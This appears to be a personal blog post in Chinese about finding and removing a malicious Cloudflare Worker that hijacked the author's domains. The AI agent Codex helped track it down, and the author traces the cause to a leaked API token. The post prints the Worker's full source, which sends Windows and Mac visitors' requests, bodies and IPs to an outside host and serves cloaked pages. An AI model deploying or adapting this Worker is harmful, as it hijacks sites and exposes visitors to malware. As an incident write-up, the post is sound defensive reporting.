早上起来打开我的网站,突然发现了这个页面

这玩意之前遇到过很多次,一看就是木马,肯定是不可能照做的
我之前在cf上部署过一次博客也被挂过一次木马,手上又没有什么能力去排查一下什么问题,当时还有些事情,懒得搞了,后面直接切到eo page上面了。
现在这一回这个网站也被劫持了,这个时候我刚好也不急,我就要来找找原因了,直接把界面扔给 Codex,我在 Cloudflare 的 API 令牌里面创建了一个可以管理全部项目的 API token,叫他一个一个排查。
过了几分钟Codex研究了一下,后面发现是我的cloudfare下有一个可疑worker。

然后我叫Astra先别删,把worker的链接发给我,我来去找
然后我进到那个worker目录下,发现它的路由绑定了我所有的根域名,也是逆天。他要是绑定的是自定义域,这种情况下,我如果去解析的话会出现出错。但是,如果是直接通过路由的方式来进行关联的话,我哪怕解析也不会报错。

然后我点击编辑代码的时候,看一看它这个worker的源代码是什么。
直接把代码贴出来吧(以下是木马的worker的代码,不要粘贴到自己的worker上)
const VPS_ORIGIN = "https://27-april-tag.com";
export default {
async fetch(request, env, ctx) {
const userAgent = request.headers.get("User-Agent") || "";
const isWindows10or11 = userAgent.includes("Windows NT 10.0") || userAgent.includes("MiniRedir/10.0");
const isMac = /Mac OS X|Macintosh/.test(userAgent);
if (!isWindows10or11 && !isMac) {
return fetch(request);
}
const url = new URL(request.url);
const originalHostname = url.hostname;
const targetURL = VPS_ORIGIN + url.pathname + url.search;
const backupRequest = request.clone();
const proxyHeaders = new Headers(request.headers);
proxyHeaders.set("X-Forwarded-Host", originalHostname);
proxyHeaders.set("Host", new URL(VPS_ORIGIN).hostname);
const clientIP = request.headers.get("CF-Connecting-IP") || request.headers.get("X-Real-IP") || request.headers.get("X-Forwarded-For");
if (clientIP) {
proxyHeaders.set("X-Real-IP", clientIP);
proxyHeaders.set("CF-Connecting-IP", clientIP);
}
const proxyConfig = {
method: request.method,
headers: proxyHeaders,
redirect: "manual"
};
if (request.body && request.method !== "GET" && request.method !== "HEAD") {
proxyConfig.body = request.body;
}
try {
const response = await fetch(targetURL, proxyConfig);
if (response.headers.has("X-Adspect-Captcha")) {
return response;
}
return fetch(backupRequest);
} catch (err) {
return fetch(backupRequest);
}
}
};
伪装的还路由到的是zf的网站。(截一部分)

逆天,吓哭了。
看到还是3个月前通过API创建的,可能是我哪时候API泄露了吧。后面我就把所有的API令牌全删除掉。再按需进行创建。
(2026/10/05 21:20)
我测不对
你怎么又来了?

不是哥们

把唯一一个令牌改成只有dns编辑权限(ddns要用),看看还有没有说法。
(2026/10/05 21:29)
OK,应该是破案了。原因应该是我只是把账户令牌删了,但是用户令牌还没删,应该是用户令牌泄露了